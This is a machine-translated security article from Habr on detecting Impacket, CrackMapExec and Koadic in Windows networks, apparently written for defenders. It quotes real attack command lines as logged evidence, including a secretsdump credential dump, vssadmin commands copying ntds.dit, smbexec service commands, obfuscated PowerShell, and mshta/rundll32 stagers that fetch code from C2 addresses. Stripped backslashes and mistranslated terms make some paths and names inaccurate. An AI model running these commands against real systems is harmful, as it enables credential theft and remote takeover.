Como detectar ataques a infraestrutura de Windows: estudando ferramentas de hackers

Como detectar ataques a infraestrutura de Windows: estudando ferramentas de hackers

O número de ataques no sector corporativo medra cada ano: por exemplo en 2017 rexistráronse un 13% máis de incidencias únicas que en 2016, e a finais de 2018 - Un 27% máis de incidenciasque no período anterior. Incluíndo aqueles onde a principal ferramenta de traballo é o sistema operativo Windows. En 2017-2018, o APT Dragonfly, APT28, APT MuddyWater levou a cabo ataques contra organizacións gobernamentais e militares en Europa, América do Norte e Arabia Saudita. E usamos tres ferramentas para iso: Paquete, CrackMapExec и Koadic. O seu código fonte está aberto e dispoñible en GitHub.

Cabe destacar que estas ferramentas non se utilizan para a penetración inicial, senón para desenvolver un ataque dentro da infraestrutura. Os atacantes utilízanos en diferentes fases do ataque tras a penetración do perímetro. Isto, por certo, é difícil de detectar e moitas veces só coa axuda da tecnoloxía identificar trazos de compromiso no tráfico da rede ou ferramentas que permitan detectar accións activas dun atacante despois de que este penetrase na infraestrutura. As ferramentas proporcionan unha variedade de funcións, desde transferir ficheiros ata interactuar co rexistro e executar comandos nunha máquina remota. Realizamos un estudo destas ferramentas para determinar a súa actividade en rede.

O que tiñamos que facer:

  • Comprender como funcionan as ferramentas de hacking. Descubra o que os atacantes deben explotar e que tecnoloxías poden utilizar.
  • Busca o que non detectan as ferramentas de seguridade da información nas primeiras fases dun ataque. A fase de recoñecemento pódese omitir, xa sexa porque o atacante é un atacante interno ou porque o atacante está a explotar un burato na infraestrutura que non se coñecía anteriormente. Faise posible restaurar toda a cadea das súas accións, de aí o desexo de detectar máis movementos.
  • Elimina os falsos positivos das ferramentas de detección de intrusos. Non debemos esquecer que cando se detectan determinadas accións só por recoñecemento, son posibles erros frecuentes. Normalmente na infraestrutura hai un número suficiente de vías, indistinguibles das lexítimas a primeira vista, para obter calquera información.

Que ofrecen estas ferramentas aos atacantes? Se isto é Impacket, entón os atacantes reciben unha gran biblioteca de módulos que se poden usar en diferentes etapas do ataque que seguen despois de romper o perímetro. Moitas ferramentas usan módulos de Impacket internamente, por exemplo, Metasploit. Ten dcomexec e wmiexec para a execución de comandos remotos, secretsdump para obter contas da memoria que se engaden desde Impacket. Como resultado, a detección correcta da actividade desta biblioteca garantirá a detección de derivados.

Non é casualidade que os creadores escribisen "Powered by Impacket" sobre CrackMapExec (ou simplemente CME). Ademais, CME ten unha funcionalidade preparada para escenarios populares: Mimikatz para obter contrasinais ou os seus hash, implementación do axente Meterpreter ou Empire para a execución remota e Bloodhound a bordo.

A terceira ferramenta que escollemos foi Koadic. É bastante recente, presentouse na conferencia internacional de hackers DEFCON 25 en 2017 e distínguese por un enfoque non estándar: funciona a través de HTTP, Java Script e Microsoft Visual Basic Script (VBS). Este enfoque chámase vivir da terra: a ferramenta usa un conxunto de dependencias e bibliotecas integradas en Windows. Os creadores chámanlle COM Command & Control ou C3.

IMPACTO

A funcionalidade de Impacket é moi ampla, que vai dende o recoñecemento dentro de AD e a recollida de datos de servidores internos MS SQL, ata técnicas para obter credenciais: este é un ataque de retransmisión SMB e a obtención do ficheiro ntds.dit que contén hash de contrasinais de usuario dun controlador de dominio. Impacket tamén executa comandos de forma remota mediante catro métodos diferentes: WMI, Windows Scheduler Management Service, DCOM e SMB, e require credenciais para facelo.

Vertedoiro de segredos

Vexamos secretsdump. Este é un módulo que pode dirixirse tanto a máquinas de usuarios como a controladores de dominio. Pódese utilizar para obter copias de áreas de memoria LSA, SAM, SEGURIDADE, NTDS.dit, polo que se pode ver en diferentes fases do ataque. O primeiro paso no funcionamento do módulo é a autenticación mediante SMB, que require o contrasinal do usuario ou o seu hash para realizar automaticamente o ataque Pass the Hash. A continuación vén unha solicitude para abrir o acceso ao Xestor de Control de Servizos (SCM) e acceder ao rexistro mediante o protocolo winreg, mediante o cal un atacante pode descubrir os datos das sucursais de interese e obter resultados a través de SMB.

Na Fig. 1 vemos como exactamente cando se utiliza o protocolo winreg, o acceso obtense mediante unha clave de rexistro cunha LSA. Para iso, use o comando DCERPC co código de operación 15 - OpenKey.

Como detectar ataques a infraestrutura de Windows: estudando ferramentas de hackers
Arroz. 1. Abrir unha clave de rexistro mediante o protocolo winreg

A continuación, cando se obtén acceso á chave, os valores gárdanse co comando SaveKey co código de operación 20. Impacket faino dun xeito moi específico. Garda os valores nun ficheiro cuxo nome é unha cadea de 8 caracteres aleatorios engadidos con .tmp. Ademais, a carga adicional deste ficheiro prodúcese a través de SMB desde o directorio System32 (Fig. 2).

Como detectar ataques a infraestrutura de Windows: estudando ferramentas de hackers
Arroz. 2. Esquema para obter unha clave de rexistro desde unha máquina remota

Acontece que tal actividade na rede pódese detectar mediante consultas a determinadas ramas do rexistro mediante o protocolo winreg, nomes específicos, comandos e a súa orde.

Este módulo tamén deixa rastros no rexistro de eventos de Windows, polo que é fácil de detectar. Por exemplo, como resultado de executar o comando

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

No rexistro de Windows Server 2016 veremos a seguinte secuencia de teclas de eventos:

1. 4624 - inicio de sesión remoto.
2. 5145: comprobación dos dereitos de acceso ao servizo remoto winreg.
3. 5145 - comprobando os dereitos de acceso aos ficheiros no directorio System32. O ficheiro ten o nome aleatorio mencionado anteriormente.
4. 4688 - creando un proceso cmd.exe que inicia vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - creando un proceso co comando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - creando un proceso co comando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - creando un proceso co comando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Como moitas ferramentas posteriores á explotación, Impacket ten módulos para executar comandos de forma remota. Centrarémonos en smbexec, que proporciona un shell de comandos interactivo nunha máquina remota. Este módulo tamén require autenticación a través de SMB, xa sexa cun contrasinal ou cun hash de contrasinal. Na Fig. Na Figura 3 vemos un exemplo de como funciona unha ferramenta deste tipo, neste caso é a consola do administrador local.

Como detectar ataques a infraestrutura de Windows: estudando ferramentas de hackers
Arroz. 3. Consola interactiva smbexec

O primeiro paso de smbexec despois da autenticación é abrir o SCM co comando OpenSCManagerW (15). A consulta é notable: o campo MachineName é DUMMY.

Como detectar ataques a infraestrutura de Windows: estudando ferramentas de hackers
Arroz. 4. Solicitude para abrir o Xestor de control de servizos

A continuación, o servizo créase mediante o comando CreateServiceW (12). No caso de smbexec, podemos ver a mesma lóxica de construción de comandos cada vez. Na Fig. 5 verde indica parámetros de comando inalterables, amarelo indica o que un atacante pode cambiar. É fácil ver que o nome do ficheiro executable, o seu directorio e o ficheiro de saída se poden cambiar, pero o resto é moito máis difícil de cambiar sen perturbar a lóxica do módulo Impacket.

Como detectar ataques a infraestrutura de Windows: estudando ferramentas de hackers
Arroz. 5. Solicitar a creación dun servizo mediante o Xestor de control de servizos

Smbexec tamén deixa rastros obvios no rexistro de eventos de Windows. No rexistro de Windows Server 2016 para o shell de comandos interactivos co comando ipconfig, veremos a seguinte secuencia de teclas de eventos:

1. 4697 — instalación do servizo na máquina da vítima:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - creación do proceso cmd.exe cos argumentos do punto 1.
3. 5145 - comprobando os dereitos de acceso ao ficheiro __output no directorio C$.
4. 4697 — instalación do servizo na máquina da vítima.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - creación do proceso cmd.exe cos argumentos do punto 4.
6. 5145 - comprobando os dereitos de acceso ao ficheiro __output no directorio C$.

O paquete é a base para o desenvolvemento de ferramentas de ataque. Soporta case todos os protocolos da infraestrutura de Windows e, ao mesmo tempo, ten as súas propias características. Aquí están as solicitudes winreg específicas e o uso da API de SCM coa formación de comandos característicos, o formato de nome de ficheiro e SMB share SYSTEM32.

CRACKMAPEXEC

A ferramenta CME está deseñada principalmente para automatizar aquelas accións rutineiras que un atacante ten que realizar para avanzar dentro da rede. Permítelle traballar en conxunto co coñecido axente Empire e Meterpreter. Para executar comandos de forma encuberta, CME pode ocultalos. Usando Bloodhound (unha ferramenta de recoñecemento separada), un atacante pode automatizar a busca dunha sesión activa de administrador de dominio.

can de caza

Bloodhound, como ferramenta autónoma, permite un recoñecemento avanzado dentro da rede. Recolle datos sobre usuarios, máquinas, grupos, sesións e ofrécese como un script de PowerShell ou un ficheiro binario. Os protocolos baseados en LDAP ou SMB úsanse para recoller información. O módulo de integración CME permite que Bloodhound se descargue na máquina da vítima, execute e reciba os datos recollidos despois da execución, automatizando así as accións no sistema e facéndoas menos visibles. O shell gráfico de Bloodhound presenta os datos recollidos en forma de gráficos, o que che permite atopar o camiño máis curto desde a máquina do atacante ata o administrador do dominio.

Como detectar ataques a infraestrutura de Windows: estudando ferramentas de hackers
Arroz. 6. Interface Bloodhound

Para executarse na máquina da vítima, o módulo crea unha tarefa usando ATSVC e SMB. ATSVC é unha interface para traballar co Programador de tarefas de Windows. CME usa a súa función NetrJobAdd(1) para crear tarefas na rede. Un exemplo do que envía o módulo CME móstrase na Fig. 7: Esta é unha chamada de comando cmd.exe e código ofuscado en forma de argumentos en formato XML.

Como detectar ataques a infraestrutura de Windows: estudando ferramentas de hackers
Fig.7. Creación dunha tarefa mediante CME

Despois de que a tarefa foi enviada para a execución, a máquina da vítima inicia o propio Bloodhound, e isto pódese ver no tráfico. O módulo caracterízase por consultas LDAP para obter grupos estándar, unha lista de todas as máquinas e usuarios do dominio e obter información sobre sesións de usuarios activos a través da solicitude SRVSVC NetSessEnum.

Como detectar ataques a infraestrutura de Windows: estudando ferramentas de hackers
Arroz. 8. Obtención dunha lista de sesións activas vía SMB

Ademais, o inicio de Bloodhound na máquina dunha vítima coa auditoría activada vai acompañado dun evento co ID 4688 (creación do proceso) e o nome do proceso. «C:WindowsSystem32cmd.exe». O que destaca son os argumentos da liña de comandos:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

O módulo enum_avproducts é moi interesante dende o punto de vista da funcionalidade e da implementación. WMI permítelle usar a linguaxe de consulta WQL para recuperar datos de varios obxectos de Windows, que é esencialmente o que usa este módulo CME. Xera consultas ás clases AntiSpywareProduct e AntiМirusProduct sobre as ferramentas de protección instaladas na máquina da vítima. Para obter os datos necesarios, o módulo conéctase ao espazo de nomes rootSecurityCenter2, despois xera unha consulta WQL e recibe unha resposta. Na Fig. A figura 9 mostra o contido de tales solicitudes e respostas. No noso exemplo, atopouse Windows Defender.

Como detectar ataques a infraestrutura de Windows: estudando ferramentas de hackers
Arroz. 9. Actividade en rede do módulo enum_avproducts

A miúdo, a auditoría WMI (Trace WMI-Activity), en cuxos eventos podes atopar información útil sobre consultas WQL, pode estar desactivada. Pero se está habilitado, se se executa o script enum_avproducts, gardarase un evento co ID 11. Conterá o nome do usuario que enviou a solicitude e o nome no espazo de nomes rootSecurityCenter2.

Cada un dos módulos CME tiña os seus propios artefactos, xa fosen consultas WQL específicas ou a creación dun determinado tipo de tarefa nun programador de tarefas con ofuscación e actividade específica de Bloodhound en LDAP e SMB.

KOADIC

Unha característica distintiva de Koadic é o uso de intérpretes de JavaScript e VBScript integrados en Windows. Neste sentido, segue a tendencia de vivir da terra, é dicir, non ten dependencias externas e utiliza ferramentas estándar de Windows. Esta é unha ferramenta para o control e mando completo (CnC), xa que despois da infección instálase un "implante" na máquina, o que permite controlar. Tal máquina, en terminoloxía koadica, chámase "zombie". Se non hai privilexios suficientes para o funcionamento completo do lado da vítima, Koadic ten a capacidade de aumentalos mediante técnicas de derivación de control de conta de usuario (omisión de UAC).

Como detectar ataques a infraestrutura de Windows: estudando ferramentas de hackers
Arroz. 10. Cuncha Koadic

A vítima debe iniciar a comunicación co servidor de Command & Control. Para iso, debe contactar cun URI previamente preparado e recibir o corpo principal de Koadic usando un dos stagers. Na Fig. A figura 11 mostra un exemplo para o mshta stager.

Como detectar ataques a infraestrutura de Windows: estudando ferramentas de hackers
Arroz. 11. Iniciando unha sesión co servidor CnC

En base á variable de resposta WS, queda claro que a execución ocorre a través de WScript.Shell e as variables STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE conteñen información clave sobre os parámetros da sesión actual. Este é o primeiro par solicitude-resposta nunha conexión HTTP cun servidor CnC. As solicitudes posteriores están directamente relacionadas coa funcionalidade dos módulos chamados (implantes). Todos os módulos Koadic só funcionan cunha sesión activa con CnC.

Mimikatz

Do mesmo xeito que CME traballa con Bloodhound, Koadic traballa con Mimikatz como un programa separado e ten varias formas de lanzalo. Abaixo amósase un par solicitude-resposta para descargar o implante Mimikatz.

Como detectar ataques a infraestrutura de Windows: estudando ferramentas de hackers
Arroz. 12. Transferir Mimikatz a Koadic

Podes ver como cambiou o formato URI na solicitude. Agora contén un valor para a variable csrf, que é responsable do módulo seleccionado. Non fagas caso do seu nome; Todos sabemos que CSRF adoita entenderse de forma diferente. A resposta foi o mesmo corpo principal de Koadic, ao que se engadiu código relacionado con Mimikatz. É bastante grande, así que vexamos os puntos clave. Aquí temos a biblioteca Mimikatz codificada en base64, unha clase .NET serializada que a inxectará e argumentos para lanzar Mimikatz. O resultado da execución transmítese pola rede en texto claro.

Como detectar ataques a infraestrutura de Windows: estudando ferramentas de hackers
Arroz. 13. Resultado de executar Mimikatz nunha máquina remota

Exec_cmd

Koadic tamén ten módulos que poden executar comandos de forma remota. Aquí veremos o mesmo método de xeración de URI e as coñecidas variables sid e csrf. No caso do módulo exec_cmd, engádese código ao corpo que é capaz de executar comandos de shell. A continuación móstrase tal código contido na resposta HTTP do servidor CnC.

Como detectar ataques a infraestrutura de Windows: estudando ferramentas de hackers
Arroz. 14. Código do implante exec_cmd

A variable GAWTUUGCFI co atributo WS familiar é necesaria para a execución de código. Coa súa axuda, o implante chama ao shell, procesando dúas ramas de código: shell.exec co retorno do fluxo de datos de saída e shell.run sen volver.

Koadic non é unha ferramenta típica, pero ten os seus propios artefactos polos que se pode atopar no tráfico lexítimo:

  • formación especial de solicitudes HTTP,
  • usando winHttpRequests API,
  • creando un obxecto WScript.Shell mediante ActiveXObject,
  • corpo executable grande.

A conexión inicial é iniciada polo stager, polo que é posible detectar a súa actividade a través de eventos de Windows. Para mshta, este é o evento 4688, que indica a creación dun proceso co atributo de inicio:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Mentres Koadic está en execución, podes ver outros 4688 eventos con atributos que o caracterizan perfectamente:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Descubrimentos

A tendencia de vivir da terra está gañando popularidade entre os criminais. Usan as ferramentas e mecanismos integrados en Windows para as súas necesidades. Estamos vendo que as ferramentas populares Koadic, CrackMapExec e Impacket seguindo este principio aparecen cada vez máis nos informes de APT. O número de forks en GitHub para estas ferramentas tamén está crecendo, e aparecen outras novas (xa hai uns mil agora). A tendencia está gañando popularidade debido á súa sinxeleza: os atacantes non necesitan ferramentas de terceiros; xa están nas máquinas das vítimas e axúdanlles a evitar as medidas de seguridade. Centrámonos no estudo da comunicación en rede: cada ferramenta descrita anteriormente deixa as súas propias pegadas no tráfico da rede; estudo detallado deles permitiunos ensinar o noso produto Descubrimento de ataques de rede PT detectalos, o que finalmente axuda a investigar toda a cadea de incidentes cibernéticos que os involucran.

Autores:

  • Anton Tyurin, Xefe do Departamento de Servizos de Expertos, Centro de Seguridade de Expertos de PT, Tecnoloxías Positivas
  • Egor Podmokov, experto, PT Expert Security Center, Positive Technologies

Fonte: www.habr.com

Engadir un comentario